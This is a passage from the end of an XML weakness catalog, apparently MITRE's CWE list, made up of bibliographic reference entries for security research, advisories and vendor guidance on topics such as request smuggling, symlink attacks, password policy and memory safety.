		<External_Reference Reference_ID="REF-1265">
			<Title>Symbolic testing tools</Title>
			<URL>https://github.com/googleprojectzero/symboliclink-testing-tools</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1266">
			<Author>Shubham Dubey</Author>
			<Title>Understanding and Exploiting Symbolic links in Windows - Symlink Attack EOP</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://nixhacker.com/understanding-and-exploiting-symbolic-link-in-windows/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1267">
			<Author>Simon Zuckerbraun</Author>
			<Title>Abusing Arbitrary File Deletes to Escalate Privilege and Other Great Tricks</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---17</Publication_Day>
			<URL>https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1268">
			<Title>2022 CWE Top 25 Most Dangerous Software Weaknesses</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2022/2022_cwe_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1271">
			<Author>Cl&#233;ment Lavoillotte</Author>
			<Title>Abusing privileged file operations</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://troopers.de/troopers19/agenda/7af9hw/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1272">
			<Author>Robert Auger</Author>
			<Title>HTTP Request Splitting</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>http://projects.webappsec.org/w/page/13246929/HTTP%20Request%20Splitting</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1273">
			<Author>Robert Auger</Author>
			<Title>HTTP Response Smuggling</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>http://projects.webappsec.org/w/page/13246930/HTTP%20Response%20Smuggling</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1274">
			<Author>Dzevad Alibegovic</Author>
			<Title>HTTP Request Smuggling: Complete Guide to Attack Types and Prevention</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://brightsec.com/blog/http-request-smuggling-hrs/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1275">
			<Author>Busra Demir</Author>
			<Title>A Pentester's Guide to HTTP Request Smuggling</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1276">
			<Author>Edi Kogan</Author>
			<Author>Daniel Kerman</Author>
			<Title>HTTP Desync Attacks in the Wild and How to Defend Against Them</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---29</Publication_Day>
			<URL>https://www.imperva.com/blog/http-desync-attacks-and-defence-methods/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1277">
			<Author>James Kettle</Author>
			<Title>HTTP Desync Attacks: Request Smuggling Reborn</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1278">
			<Author>PortSwigger</Author>
			<Title>HTTP request smuggling</Title>
			<URL>https://portswigger.net/web-security/request-smuggling</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1279">
			<Author>CWE/CAPEC</Author>
			<Title>Neutralizing Your Inputs: A Log4Shell Weakness Story</Title>
			<URL>https://medium.com/@CWE_CAPEC/neutralizing-your-inputs-a-log4shell-weakness-story-89954c8b25c9</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1280">
			<Author>OWASP</Author>
			<Title>Expression Language Injection</Title>
			<URL>https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1281">
			<Author>Douglas N. Arnold</Author>
			<Title>The sinking of the Sleipner A offshore platform</Title>
			<URL>https://www-users.cse.umn.edu/~arnold/disasters/sleipner.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1282">
			<Author>Snyk</Author>
			<Title>Zip Slip Vulnerability</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://security.snyk.io/research/zip-slip-vulnerability</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1283">
			<Author>Forescout Vedere Labs</Author>
			<Title>OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://www.forescout.com/resources/ot-icefall-report/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1284">
			<Author>Sick Codes</Author>
			<Title>Universal "netmask" npm package, used by 270,000+ projects, vulnerable to octal input data</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://sick.codes/universal-netmask-npm-package-used-by-270000-projects-vulnerable-to-octal-input-data-server-side-request-forgery-remote-file-inclusion-local-file-inclusion-and-more-cve-2021-28918/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1285">
			<Author>Texas Instruments</Author>
			<Title>Physical Security Attacks Against Silicon Devices</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<URL>https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1286">
			<Author>Lennert Wouters</Author>
			<Author>Benedikt Gierlichs</Author>
			<Author>Bart Preneel</Author>
			<Title>On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://eprint.iacr.org/2022/328.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1287">
			<Author>MITRE</Author>
			<Title>Supplemental Details - 2022 CWE Top 25</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1288">
			<Author>Julia Lokrantz</Author>
			<Title>Ethical hacking of a Smart Automatic Feed Dispenser</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1289">
			<Author>Lance Spitzner</Author>
			<Title>Time for Password Expiration to Die</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>https://www.sans.org/blog/time-for-password-expiration-to-die/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1290">
			<Author>Lorrie Cranor</Author>
			<Title>Time to rethink mandatory password changes</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2016/03/time-rethink-mandatory-password-changes</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1291">
			<Author>Eugene Spafford</Author>
			<Title>Security Myths and Passwords</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://www.cerias.purdue.edu/site/blog/post/password-change-myths/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1292">
			<Author>National Cyber Security Centre</Author>
			<Title>Password administration for system owners</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://www.ncsc.gov.uk/collection/passwords</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1293">
			<Author>NIST</Author>
			<Title>Digital Identity Guidelines: Authentication and Lifecycle Management(SP 800-63B)</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1294">
			<Author>National Cyber Security Centre</Author>
			<Title>Let them paste passwords</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1295">
			<Author>WizCase</Author>
			<Title>Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://www.wizcase.com/blog/us-municipality-breach-report/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1296">
			<Author>Jonathan Greig</Author>
			<Title>1,000 GB of local government data exposed by Massachusetts software company</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1297">
			<Author>Amazon</Author>
			<Title>AWS Foundational Security Best Practices controls</Title>
			<Publication_Year>2022</Publication_Year>
			<URL>https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1298">
			<Author>Microsoft</Author>
			<Title>Authentication and authorization in Azure App Service and Azure Functions</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1299">
			<Author>Microsoft</Author>
			<Title>Azure encryption overview</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="1300">
			<Author>Microsoft</Author>
			<Title>The Developer's Guide to Azure</Title>
			<Publication_Year>2021</Publication_Year>
			<URL>https://azure.microsoft.com/en-us/resources/whitepapers/developer-guide-to-azure/</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1301">
			<Author>Google Cloud</Author>
			<Title>Default encryption at rest</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://cloud.google.com/docs/security/encryption/default-encryption</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1302">
			<Author>Google Cloud</Author>
			<Title>Authentication and authorization use cases</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://cloud.google.com/docs/authentication/use-cases</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1303">
			<Author>Kelly Jackson Higgins</Author>
			<Title>Researchers Out Default Passwords Packaged With ICS/SCADA Wares</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://www.darkreading.com/endpoint/researchers-out-default-passwords-packaged-with-ics-scada-wares</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1304">
			<Author>ICS-CERT</Author>
			<Title>ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1305">
			<Author>Kurt Seifried and other members of the CWE-Research mailing list</Author>
			<Title>Discussion Thread: Time to retire CWE-262 and CWE-263</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://www.mail-archive.com/cwe-research-list@mitre.org/msg00018.html</URL>
			<URL_Date>2022-10-11</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1306">
			<Author>Microsoft</Author>
			<Title>Remediate anonymous public read access to blob data (Azure Resource Manager deployments)</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent</URL>
			<URL_Date>2023-01-19</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1307">
			<Author>Center for Internet Security</Author>
			<Title>CIS Microsoft Azure Foundations Benchmark version 1.5.0</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://www.cisecurity.org/benchmark/azure</URL>
			<URL_Date>2023-01-19</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1308">
			<Author>Microsoft</Author>
			<Title>Enable and manage Azure Storage Analytics logs (classic)</Title>
			<Publication_Year>2023</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/storage/common/manage-storage-analytics-logs</URL>
			<URL_Date>2023-01-24</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1309">
			<Author>Microsoft</Author>
			<Title>Require secure transfer to ensure secure connections</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer</URL>
			<URL_Date>2023-01-24</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1310">
			<Author>Microsoft</Author>
			<Title>Enable infrastructure encryption for double encryption of data</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable</URL>
			<URL_Date>2023-01-24</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1311">
			<Author>Am&#233;lie Koran, Wendy Nather, Stewart Scott, Sara Ann Brackett</Author>
			<Title>The Cases for Using the SBOMs We Build</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>https://www.atlanticcouncil.org/wp-content/uploads/2022/11/AC_SBOM_IB_v2-002.pdf</URL>
			<URL_Date>2023-01-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1312">
			<Author>OWASP</Author>
			<Title>OWASP Dependency-Check</Title>
			<URL>https://owasp.org/www-project-dependency-check/</URL>
			<URL_Date>2023-01-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1313">
			<Author>Jeff Williams, Arshan Dabirsiaghi</Author>
			<Title>The Unfortunate Reality of Insecure Libraries</Title>
			<Publication_Year>2014</Publication_Year>
			<URL>https://owasp.org/www-project-dependency-check/</URL>
			<URL_Date>2023-01-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1314">
			<Author>ICS-CERT</Author>
			<Title>ICS Alert (ICS-ALERT-20-063-01): SweynTooth Vulnerabilities</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://www.cisa.gov/news-events/ics-alerts/ics-alert-20-063-01</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1315">
			<Author>Matheus E. Garbelini, Sudipta Chattopadhyay, Chundong Wang, Singapore University of Technology and Design</Author>
			<Title>Unleashing Mayhem over Bluetooth Low Energy</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://asset-group.github.io/disclosures/sweyntooth/</URL>
			<URL_Date>2023-01-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1316">
			<Author>CISA</Author>
			<Title>Alert (AA21-356A): Mitigating Log4Shell and Other Log4j-Related Vulnerabilities</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1317">
			<Author>SC Media</Author>
			<Title>What Log4Shell taught us about application security, and how to respond now</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://www.scmagazine.com/resource/application-security/what-log4shell-taught-us-about-appsec-and-how-to-respond</URL>
			<URL_Date>2023-01-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1318">
			<Author>David Fiser, Alfredo Oliveira</Author>
			<Title>Analyzing the Hidden Danger of Environment Variables for Keeping Secrets</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---17</Publication_Day>
			<URL>https://www.trendmicro.com/en_us/research/22/h/analyzing-hidden-danger-of-environment-variables-for-keeping-secrets.html</URL>
			<URL_Date>2023-01-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1319">
			<Author>Nicolas Harraudeau</Author>
			<Title>Using environment variables is security-sensitive</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://sonarsource.atlassian.net/browse/RSPEC-5304</URL>
			<URL_Date>2023-01-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1320">
			<Author>Ali Youssef</Author>
			<Title>A Framework for a Medical Device Security Program at a Healthcare Delivery Organization</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://array.aami.org/content/news/framework-medical-device-security-program-healthcare-delivery-organization</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1321">
			<Author>Cloud Security Alliance</Author>
			<Title>Shared Responsibility Model Explained</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://cloudsecurityalliance.org/blog/2020/08/26/shared-responsibility-model-explained/</URL>
			<URL_Date>2023-01-28</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1322">
			<Author>Melissa Chase, Steven Christey Coley, Julie Connolly, Ronnie Daldos, Margie Zuk</Author>
			<Title>Medical Device Cybersecurity Regional Incident Preparedness and Response Playbook</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://www.mitre.org/news-insights/publication/medical-device-cybersecurity-regional-incident-preparedness-and-response</URL>
			<URL_Date>2023-01-28</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1323">
			<Title>Cyrix coma bug</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Cyrix_coma_bug</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1324">
			<Author>Gary Wheeler</Author>
			<Title>Undocumented M6800 Instructions</Title>
			<Publication_Year>1977</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://spivey.oriel.ox.ac.uk/wiki/images-corner/1/1a/Undoc6800.pdf</URL>
			<URL_Date>2023-04-20</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1325">
			<Title>exec package - os/exec - Go Packages</Title>
			<Publication_Year>2023</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://pkg.go.dev/os/exec</URL>
			<URL_Date>2023-04-21</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1326">
			<Author>Brian M. Carlson</Author>
			<Title>Git LFS Changelog</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://github.com/git-lfs/git-lfs/commit/032dca8ee69c193208cd050024c27e82e11aef81</URL>
			<URL_Date>2023-04-21</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1327">
			<Author>Center for Internet Security</Author>
			<Title>CIS Google Cloud Computing Platform Benchmark version 1.3.0</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<URL>https://www.cisecurity.org/benchmark/google_cloud_computing_platform</URL>
			<URL_Date>2023-04-24</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1328">
			<Author>National Security Agency</Author>
			<Title>Software Memory Safety</Title>
			<Publication_Year>2022</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF</URL>
			<URL_Date>2023-04-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1329">
			<Author>Prossimo</Author>
			<Title>What is memory safety and why does it matter?</Title>
			<URL>https://www.memorysafety.org/docs/memory-safety/</URL>
			<URL_Date>2023-04-25</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1330">
			<Author>MITRE</Author>
			<Title>CVE --&gt; CWE Mapping Guidance - Quick Tips</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://cwe.mitre.org/documents/cwe_usage/quick_tips.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1331">
			<Author>Robert R. Collins</Author>
			<Title>The Pentium F00F Bug</Title>
			<Publication_Year>1998</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://www.drdobbs.com/embedded-systems/the-pentium-f00f-bug/184410555</URL>
			<URL_Date>2023-04-25</URL_Date>
		</External_Reference>
			<External_Reference Reference_ID="REF-1332">
			<Author>John Richard Moser</Author>
			<Title>Prelink and address space randomization</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://lwn.net/Articles/190139/</URL>
			<URL_Date>2023-04-26</URL_Date>
			</External_Reference>
		<External_Reference Reference_ID="REF-1333">
			<Author>Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh</Author>
			<Title>Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>http://www.cs.ucr.edu/~nael/pubs/micro16.pdf</URL>
			<URL_Date>2023-04-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1334">
			<Author>D3FEND</Author>
			<Title>Stack Frame Canary Validation (D3-SFCV)</Title>
			<Publication_Year>2023</Publication_Year>
			<URL>https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/</URL>
			<URL_Date>2023-04-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1335">
			<Author>D3FEND</Author>
			<Title>Segment Address Offset Randomization (D3-SAOR)</Title>
			<Publication_Year>2023</Publication_Year>
			<URL>https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/</URL>
			<URL_Date>2023-04-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1336">
			<Author>D3FEND</Author>
			<Title>Process Segment Execution Prevention (D3-PSEP)</Title>
			<Publication_Year>2023</Publication_Year>
			<URL>https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/</URL>
			<URL_Date>2023-04-26</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1337">
			<Author>Alexander Sotirov and Mark Dowd</Author>
			<Title>Bypassing Browser Memory Protections: Setting back browser security by 10 years</Title>
			<Publication_Year>2008</Publication_Year>
			<URL>https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf</URL>
			<URL_Date>2023-04-26</URL_Date>
		</External_Reference>
	</External_References>
	</Weakness_Catalog>